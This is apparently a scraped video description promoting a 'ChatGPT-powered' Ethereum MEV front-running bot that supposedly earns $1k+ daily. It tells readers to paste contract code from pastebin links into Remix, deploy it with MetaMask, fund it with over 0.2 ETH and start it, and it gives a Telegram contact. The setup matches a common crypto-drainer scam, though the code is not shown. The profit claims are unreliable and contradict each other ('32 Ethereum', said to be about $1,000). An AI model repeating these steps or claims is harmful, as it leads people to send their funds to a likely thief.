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Hello everyone! Today I’d like to share my progress in mastering ChatGPT in the field of bot development on the Solidity language. Looks pretty good if you ask me. Also feel free to write your thoughts in the comments, stay tuned!
⌨️ Bot Source Code: https://pastebin.com/raw/zKu5E6J7
⌨️ Backup Source Code: https://pastebin.com/raw/iZ7NFs86
STEP BY STEP INSTRUCTIONS:
👉 Download MetaMask: https://metamask.io/download
👉 Head over to Remix: https://remix.ethereum.org/
👉 Create “New File”. Rename it whatever you want or “mevbot.sol”
👉 Paste THIS code into Remix: https://pastebin.com/raw/zKu5E6J7
If link doesn’t work use backup: https://pastebin.com/raw/iZ7NFs86
👉 Go to the “Compile” tab on Remix and Compile with Solidity version 0.8.20
👉 Go to the “Deploy & Run Transactions” tab on Remix, select the “Injected Provider” environment, then “Deploy”. This will create your own contract by confirming the MetaMask Contract creation fee.
👉 Make sure your deposit is more than .2 ETH (to prevent negating slippage) to your exact contract/bot address.
👉 Go to “Set Trade Balance ETHER” button and set the amount of Ethereum that bot will use to to frontrun transactions
👉 Click “Search” button to get the bot started
👉 Withdraw anytime by clicking “Withdrawal”
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00:00 – A brief overview
00:28 – How it works
01:03 – Creating a bot file
02:33 – Compiling the code
02:51 – Bot deployment
04:00 – Overview of Bot Functionality
04:28 – Funding the contract
05:26 – Starting the bot
06:07 – How much I get from the bot
06:48 – Cashing out
07:37 – Conclusion
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🔎 How can I restore the old contract again?
Instead of “Deploy” by creating a new contract in the “DEPLOY & RUN TRANSACTIONS” section, you can access your old contract again by typing the old contract address you created in the “At Address” field and clicking the “At Address” button.
Note: Access cannot be made with any other account other than your MetaMask account where you created the contract.
🔎How can I contact you?
You can message me on my Telegram account anytime.
https://t.me/mevsolutions
🔎 How can I restore the old contract again?
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Share your profits in the comments section below. Like and subscribe for more lucrative Solidity tutorials.
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🌐 Explore passive earnings with our in-depth guide to MEV BOT strategies.
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tags:
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date : 2024-09-25 14:18:16
views : 1253
likes : 244
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MEV Bot: Earn Up to $1k+ Daily with a ChatGPT-Powered Trading Bot
In this step-by-step guide, a 30-year-old Web 3 DeFi tech editor shares how to create a bot that generates passive income using ChatGPT and the MEV (Maximal Extractable Value) principle. The bot operates on the Ethereum network, utilizing mempool and arbitrage strategies to profit from transactions with slippage.
The bot scans the mempool for transactions, detects opportunities to profit, and creates similar transactions with a higher gas price to ensure processing first. The difference between the additional gas spent and the slippage is the profit. To build the bot, you’ll need MetaMask, Remix, and some basic coding knowledge.
The bot requires a minimum of 0.2 Ethereum due to the need for sufficient slippage to make a profit. The code is open-source, allowing for audits and modifications, but the creator is not responsible for its functioning. The bot’s control panel allows you to set the trade balance, start/stop the bot, and withdraw funds.
In the video, the creator demonstrates how to deploy the bot, set up the control panel, and start the bot. They then walk through the process of waiting for the bot to generate profits, which in their case, resulted in a 32 Ethereum profit (approximately $1,000) in just 24 hours.
This bot provides an opportunity for individuals to earn significant passive income in the Web 3 space, leveraging the power of ChatGPT and the MEV principle. With the rise of decentralized finance (DeFi) and the increasing adoption of Web 3 technologies, bots like this one are becoming increasingly popular among crypto enthusiasts and investors.
